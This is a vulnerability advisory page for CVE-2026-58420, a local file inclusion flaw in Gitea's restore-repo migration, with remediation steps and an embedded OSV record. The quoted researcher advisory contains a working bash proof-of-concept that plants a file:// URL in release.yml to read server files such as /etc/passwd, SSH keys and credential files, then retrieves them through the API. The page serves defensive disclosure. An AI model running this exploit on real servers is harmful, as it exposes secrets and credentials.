CVE-2026-58420: Gitea Local File Inclusion Vulnerability
MODERATECVE-2026-58420 is a MODERATE local file inclusion vulnerability (CWE-73: External Control of File Name or Path) affecting Gitea libraries in the Go ecosystem. The issue involves local file inclusion via file:// uri in migration restore. Remediation is available by upgrading affected packages to version 1.27.0.
CVE-2026-58420 at a Glance
How to Fix CVE-2026-58420
To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade gitea.dev to 1.27.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for gitea.dev
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-58420, inspect your project dependencies for Gitea:
inspect dependencies for gitea.dev
Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-58420 Affected Gitea Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
gitea.dev
|
Go |
< 1.27.0
|
1.27.0
|
References
Frequently Asked Questions
What is CVE-2026-58420?
Which Gitea versions are affected?
What version fixes CVE-2026-58420?
Is gitea.dev affected?
What CWE is associated with CVE-2026-58420?
How can I check Go dependencies for CVE-2026-58420?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5ggr-2f2h-jmvm",
"modified" : "2026-07-21T20:59:53Z",
"published" : "2026-07-21T20:59:53Z",
"aliases" : [ "CVE-2026-58420" ],
"summary" : "Gitea: Local File Inclusion via file:// URI in Migration Restore",
"details" : "# Local File Inclusion via file:// URI in Migration Restore\n\nTarget: go-gitea/gitea\nComponent: services/migrations/gitea_uploader.go, modules/uri/uri.go\nSeverity: High\nAffected Versions: <= v1.22.x (all releases), master as of latest commit\nResearchers:\n- Isa Can — Eresus Security (https://github.com/isa0-gh)\n- Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)\n\n---\n\n## Summary\n\nGitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.\n\n---\n\n## Impact\n\nAn attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:\n\n- app.ini — containing database passwords and secret keys\n- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)\n- TLS certificates and private keys\n- Cloud provider credential files (e.g. ~/.aws/credentials)\n- Any other file readable by the Gitea process user\n\nThe exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.\n\n---\n\n## Affected Code\n\n### modules/uri/uri.go\n```\nfunc Open(rawURL string) (io.ReadCloser, error) {\n u, err := url.Parse(rawURL)\n if err != nil {\n return nil, err\n }\n switch u.Scheme {\n case \"http\", \"https\":\n resp, err := http.Get(rawURL)\n ...\n case \"file\":\n return os.Open(u.Path) // no scheme validation, no path restriction\n }\n}\n```\n### services/migrations/gitea_uploader.go (~line 370)\n```\nfunc (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {\n for _, rel := range releases {\n for _, asset := range rel.Assets {\n rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated\n ...\n // file content saved as release attachment\n }\n }\n}\n```\n---\n\n## Attack Scenario\n\nAn attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:\n\n1. Create a malicious archive containing release.yml:\n```\nreleases:\n - tag_name: v0.0.1\n assets:\n - name: exfiltrated.txt\n download_url: \"file:///etc/passwd\"\n```\n2. Run restore:\n```\ngitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo\n```\n3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.\n\n4. Retrieve via API:\n```\ncurl -s \"http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets\" \\\n -H \"Authorization: token ADMIN_TOKEN\" | jq -r '.[].browser_download_url'\n```\n---\n\n## PoC\n> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.\n```\n#!/usr/bin/env bash\n# PoC: Gitea LFI via release.yml DownloadURL\n# Requires: admin credentials, gitea binary on PATH (server host)\n\nGITEA_URL=\"${1:-http://localhost:3000}\"\nADMIN_TOKEN=\"${2:-REPLACE_ME}\"\nTARGET_FILE=\"${3:-/etc/passwd}\"\nOWNER=\"test-org\"\nREPO=\"lfi-test\"\n```\n# 1. Create target org and repo via API\n```\ncurl -sf -X POST \"$GITEA_URL/api/v1/orgs\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"username\\\":\\\"$OWNER\\\",\\\"visibility\\\":\\\"private\\\"}\" || true\n\ncurl -sf -X POST \"$GITEA_URL/api/v1/user/repos\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"name\\\":\\\"$REPO\\\",\\\"private\\\":true,\\\"auto_init\\\":true}\" || true\n```\n# 2. Build malicious archive\n```\nTMP=$(mktemp -d)\nmkdir -p \"$TMP/bundles/$OWNER/$REPO\"\n\ncat > \"$TMP/bundles/$OWNER/$REPO/release.yml\" <<YAML\nreleases:\n - tag_name: v0.0.1\n name: test\n body: \"\"\n draft: false\n prerelease: false\n assets:\n - name: output.txt\n download_url: \"file://$TARGET_FILE\"\n size: 0\n download_count: 0\nYAML\n\ncd \"$TMP\" && zip -r poc.zip bundles/\n````\n# 3. Trigger restore\n```\ngitea restore-repo \\\n --zip-path \"$TMP/poc.zip\" \\\n --owner \"$OWNER\" \\\n --repo \"$REPO\" \\\n --units release 2>&1\n```\n# 4. Retrieve exfiltrated content\n```\necho \"[*] Fetching exfiltrated content...\"\nRELEASE_ID=$(curl -sf \"$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" | jq -r '.[0].id')\n\ncurl -sf \"$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" | jq -r '.[0].browser_download_url' | \\\n xargs -I{} curl -sf \"{}\" -H \"Authorization: token $ADMIN_TOKEN\"\n\nrm -rf \"$TMP\"\n```\n---\n\n## Root Cause\n\nuri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.\n\n---\n\n## Fix Recommendation\n\nIn services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():\n```\nparsed, err := url.Parse(asset.DownloadURL)\nif err != nil || (parsed.Scheme != \"http\" && parsed.Scheme != \"https\") {\n log.Warn(\"Skipping release asset with non-HTTP URL: %s\", asset.DownloadURL)\n continue\n}\nrc, err := uri.Open(asset.DownloadURL)\nAlternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.\n```\n---\n\n## Workaround\n\nUntil a patch is available, operators should:\n\n- Restrict restore-repo execution to fully trusted operators only\n- Audit all archive contents manually before running restoration\n- Review existing release attachments for unexpected or sensitive filenames\n\n---\n\nIsa Can\nSecurity Researcher — Eresus Security\nhttps://github.com/isa0-gh\n\nYigit Ibrahim\nSecurity Researcher — Eresus Security\nhttps://github.com/ibrahmsql",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "gitea.dev"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.27.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-gitea/gitea"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-73" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-21T20:59:53Z",
"nvd_published_at" : null
}
}